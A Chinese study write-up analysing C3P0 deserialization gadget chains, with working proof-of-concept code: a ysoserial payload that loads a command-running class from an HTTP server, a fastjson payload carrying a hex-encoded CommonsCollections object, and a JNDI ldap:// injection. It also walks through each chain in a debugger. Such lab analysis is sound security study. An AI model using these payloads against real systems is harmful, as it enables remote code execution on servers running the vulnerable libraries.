C3P0反序列化链学习

C3P0

c3p0第一次听闻是用于fastjson的回显上，大佬们总结三种方法，后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马)

http base
jndi
hex序列化字节加载器

1、http base

1.1、漏洞复现

package ysoserial.test;

import ysoserial.Serializer;
import ysoserial.payloads.C3P0;

import java.io.*;

public class C3P0Test {
    public static void main(String[] args) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:8000/:EXP");
        serialize(object,"c3p0.ser");
        unserialize("c3p0.ser");

    }

    public static void serialize(Object obj ,String path) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize(String path) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
    }
}

exp

public class EXP {
    public EXP() {
    }

    static {
        try {
            Runtime var0 = Runtime.getRuntime();
            String[] var1 = new String[]{"bash", "-c", "open -a calculator.app"};
            Process var2 = var0.exec(var1);
            var2.waitFor();
        } catch (Exception var3) {
        }

    }
}

1.2、漏洞分析

我跟jdk7u21一样还是通过ysoserial来学习，首先先学习一下c3p0链，我们看到getObject()方法，他就是通过:截断，获取url和类名，然后反射创建PoolBackedDataSource类，设置其connectionPoolDataSource属性设置为new PoolSource(className, url)实例。

我们继续看看PoolSource,除了构造方法赋值外就是有一个getReference()方法，传入了我们的恶意的url和className

public class C3P0 implements ObjectPayload<Object> {
    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }

    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }

    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(C3P0.class, args);
    }

}

1.3、POC调试

1.3.1、序列化分析

我先来看看是怎么序列化的过程，在writeObject处打下断点

跟进去，进入到com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase,回去序列化我们的输入this.connectionPoolDataSource，但是由于我们输入的其实就是PoolSource，无法序列化，继续往下走

走到这，他会序列化indirector.indirectForm(this.connectionPoolDataSource),我们

indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));

我们跟进去看看，此处调用的getReference()就是PoolSource的getReference方法，也是为什么PoolSource要重写该方法

然后就是ReferenceIndirector.ReferenceSerialized(),我们继续跟进去，可以看到就是把我们构造的特殊的reference赋值给this.reference，所以序列化文件里是包含这我们的恶意reference。

1.3.2、反序列化分析

我们从报错的也可以看出序列化的接口是在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase的readObject

利用链

/*
 * Gadget:
 *   PoolBackedDataSourceBase#readObject
 *     ReferenceIndirector$ReferenceSerialized#getObject
 *       ReferenceableUtils#referenceToObject
 *         Class#forName
 * */

我们把断点打在PoolBackedDataSourceBase的readObect(),走到这,会判断o是不是IndirectlySerialized，那么就会触发ReferenceIndirector的getObject方法，跟进去

进来后会通过ReferenceableUtils.referenceToObject()方法将this.reference(恶意链接)转换成Object，我们继续跟进去

获取我们恶意地址字符串和恶意类字符串分别存入var4和var11，并且新建一个ClassLoder里面存我地址，然后通过Class.forName方法加载，此时的var4和var7都是我们可以控制的。然后就会去寻找对应的地址请求恶意类。

我们可以看到在Class.forName触发了我们的代码执行，原因是Class.forName如果没有给定 classloader， 那么会使用根类加载器。如果initalize这个参数传了 true，那么给定的类如果之前没有被初始化过，那么会被初始化，造成远程代码执行

2、hex序列化字节加载器

这个可以满足fastjson和c3p0可以做到不出网利用。首先生成序列化payload，这里的payload注意是需要本地的另一条Gadget比如CC或者CB链，然后hex编码一下拼到PoC里

java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > calc.ser

2.1、poc复现

依赖

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

Poc

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

package com.akkacloud;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;

import java.io.*;
import java.util.Arrays;

public class fast {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("/Users/akka/Desktop/tools/EXP/Weblogic/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        JSON.parseObject(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

}

2.2、poc分析

原因仍然是fastjson自动调用属性的setter和getter方法。不懂得可以学习一下前面

我们直接在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource类的 setUpPropertyListeners处打下断点，调用了parseUserOverridesAsString((String)val) ,val就是我们传入的hex加密的字符串，跟进去

该方法就是把传入的hex加密字符串解密成byte[],然后调用fromByteArray方法，继续跟进去

然后调用deserializeFromByteArray方法，继续跟进

到这一步就很清晰了，调用readObejct，造成反序列化恶意代码执行

3、JNDI利用

此方法可以配合tomcatEcho，达到回显

3.1、POC复现

依赖

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
  </dependency>
  <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version>
  </dependency>

package com.akkacloud;

import com.alibaba.fastjson.JSON;

public class fast {
    public static void main(String[] args) throws Exception {
        String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1389/EXP\", \"loginTimeout\":0}";
        JSON.parseObject(poc);
    }

}

3.2、POC分析

这跟fastjson其他利用链的差不多都是由于fastjson会自动触发字段的setter和getter方法。所以会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSource的setJndiName,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBase的setJndiName。我们在该方法打下断点,可以看到该方法就是把this.jndiName赋值为其传入的值(恶意链接)，然后就是调用setloginTimeout

然后进入到om.mchange.v2.c3p0.JndiRefForwardingDataSource累的setloginTimeout，调用inner方法,跟进去

继续调用dereference方法，继续跟进

跟进去就发现会调用我们ctx.lookup((String)jndiName),完成jndi注入

参考

https://www.cnblogs.com/nice0e3/p/15058285.html

https://www.shuzhiduo.com/A/ZOJPN24Odv/